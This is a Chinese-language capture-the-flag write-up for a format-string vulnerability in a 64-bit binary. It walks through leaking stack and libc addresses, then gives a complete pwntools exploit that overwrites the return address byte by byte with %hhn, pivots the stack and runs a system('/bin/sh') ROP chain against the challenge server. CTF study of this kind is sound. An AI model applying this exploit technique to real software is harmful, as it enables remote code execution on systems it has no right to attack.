先查保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
起初不明白为什么有shadow_stack可以直接覆盖返回地址
SHSTK: Enabled后来查资料得知服务器要打开CET保护,否则shadow_stack不起作用,至此可以确定修改返回地址进行ROP
然后ida反汇编
代码比较简单:
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char format[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+108h] [rbp-8h]
v4 = __readfsqword(0x28u);
init();
strcpy(format, "text:");
while ( 1 )
{
printf("Input your text: ");
fgets(&format[5], 256, stdin);
printf(format);
}可以看到没有栈溢出,只有一个持续的格式化字符串,
那么我们修改地址的流程是将system函数的地址写入对映真实的返回地址
返回地址储存地址无法用pie基址计算,而泄露时只能泄露地址内储存的值,所以利用argv**这个二级指针,打印出argv[0]的地址进行计算,算出返回地址的栈储存地址,通过%hhn写入
system函数的地址则需要通过libc基址计算,我们有了libc文件,采用printf@libc计算libc基址再计算
,printf@libc的值储存在printf@got中,prinf@got的地址可以通过pie基址计算,pie基址则通过main函数的地址计算。
先进行泄露
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%ptext:AAAA0x7ffff7e03963.0xfbad208b.0x7fffffffdc35.0x1.(nil).0x4141413a74786574.0x252e70252e702541.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0xa70252e70.(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x7ffff7fe5af0.0x7fffffffde20.0xc232719259d59c00.0x7fffffffdde0.0x7ffff7c2a1ca.0x7fffffffdd90.0x7fffffffde68.0x155554040.0x5555555551ee(##main##).0x7fffffffde68.0xe2009bfbfe08ea4f.0x1.(nil).0x555555557db0.0x7ffff7ffd000.0xe2009bfbff68ea4f.0xe2008b8106caea4f.0x7fff00000000.(nil).(nil).0x1.0x7fffffffde60.0xc232719259d59c00.0x7fffffffde40
可以看到在第6个位置出现了0x414141,此8位为text:AAA
ida看到main函数的静态偏移为0x1EE,为第43个参数的最后3位,由于重合概率低,合理推断其为main函数的虚拟地址,可以计算pie基址得到printf@got地址
pwndbg> argv
00:0000│+2f8 0x7fffffffde68 —▸ 0x7fffffffe1b8 ◂— '/home/lmr/Desktop/pwn'
01:0008│+300 0x7fffffffde70 ◂— 0调试看到argv0的地址为0x7fffffffde68,为第45个计算得到返回地址的地址
下一步获得printf@libc
我们需要将printf@got地址写入内存,再%s读取出来
fmt2=b"%p."*(x-1)+b"<S>"+b"%.8s"+b"<E>"8(x-6)读取8个,第7个开始读取:* =5text:+len(fmt)+1\n:
x为最低读取数
需要读取和填充一致对齐并自动接收
计算一下至少要13个字节
最后组装,将返回地址修改(借鉴了ai的代码),编写rop即可
from pwn import *
io=remote('challenge.shc.tf',31630)
# io=process('./pwn')
context.binary= ELF('./pwn')
libc = ELF('libc.so.6')
def fmt():
fmt=b'%p.'*60
io.sendline(fmt)
recv=io.recvuntil(b"Input your text: ")
recv=recv.split(b"Input your text: ")[0]
recv_=recv.split(b".")
return recv_
io.recvuntil(b"Input your text: ")
recv_=fmt()
main_addr=recv_[42]
main_off=context.binary.symbols['main']#0x1EE
main_addr_num= int(main_addr,16)
pie_base=main_addr_num-main_off
printf_got=pie_base+context.binary.got['printf']
argv_arr=int(recv_[44], 16)
buf_addr=argv_arr-0x228
ret_addr=buf_addr-8#正常返回地址
pivot_addr=buf_addr+0x118#修改rsp后的地址
fmt2=b"%p."*12+b"<S>"+b"%.8s"+b"<E>"
need=56-5-46-1
payload=fmt2+b'\x00'+(b'A'*need)+p64(printf_got)+b'\n'
io.send(payload)
half_libc=io.recvuntil(b"<E>")
printf_libc=half_libc.split(b"<S>")[1].split(b"<E>")[0]
libc_base=u64(printf_libc.ljust(8, b'\x00'))-libc.symbols['printf']
rop=ROP(libc)
ret =libc_base + rop.find_gadget(['ret']).address
pop_rdi = libc_base + rop.find_gadget(['pop rdi', 'ret']).address
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pivot_gadget = libc_base + 0x42946 # add rsp, 0x118;
def write_8byte(io,addr,value):
io.recvuntil(b"Input your text: ")
idx=22
writes = []
for i in range(8):
bval=(value >>(i*8))&0xff
writes.append((bval, addr + i))
writes.sort(key=lambda x : x[0])
d=idx-1
count=5+d
parts=[b'%c'*d]
args =[]
for bval, a in writes:
pad = (bval-count) % 256
if pad==0:
pad=256
parts.append(b'%'+str(pad).encode()+b'c%hhn')
count=(count+pad)%256
args.append(p64(0))
args.append(p64(a))
fmt=b''.join(parts)
offset=8*(idx-6)
pad_align=offset-(5+len(fmt)+ 1)
if pad_align < 0:
raise ValueError('pad_align negative')
payload=fmt+b'\x00'+(b'A'*pad_align)+b''.join(args)+b'\n'
io.send(payload)
chain=[ret, pop_rdi, binsh, system]
for i, v in enumerate(chain):
write_8byte(io, pivot_addr + i * 8, v)
write_8byte(io, ret_addr, pivot_gadget)
io.interactive()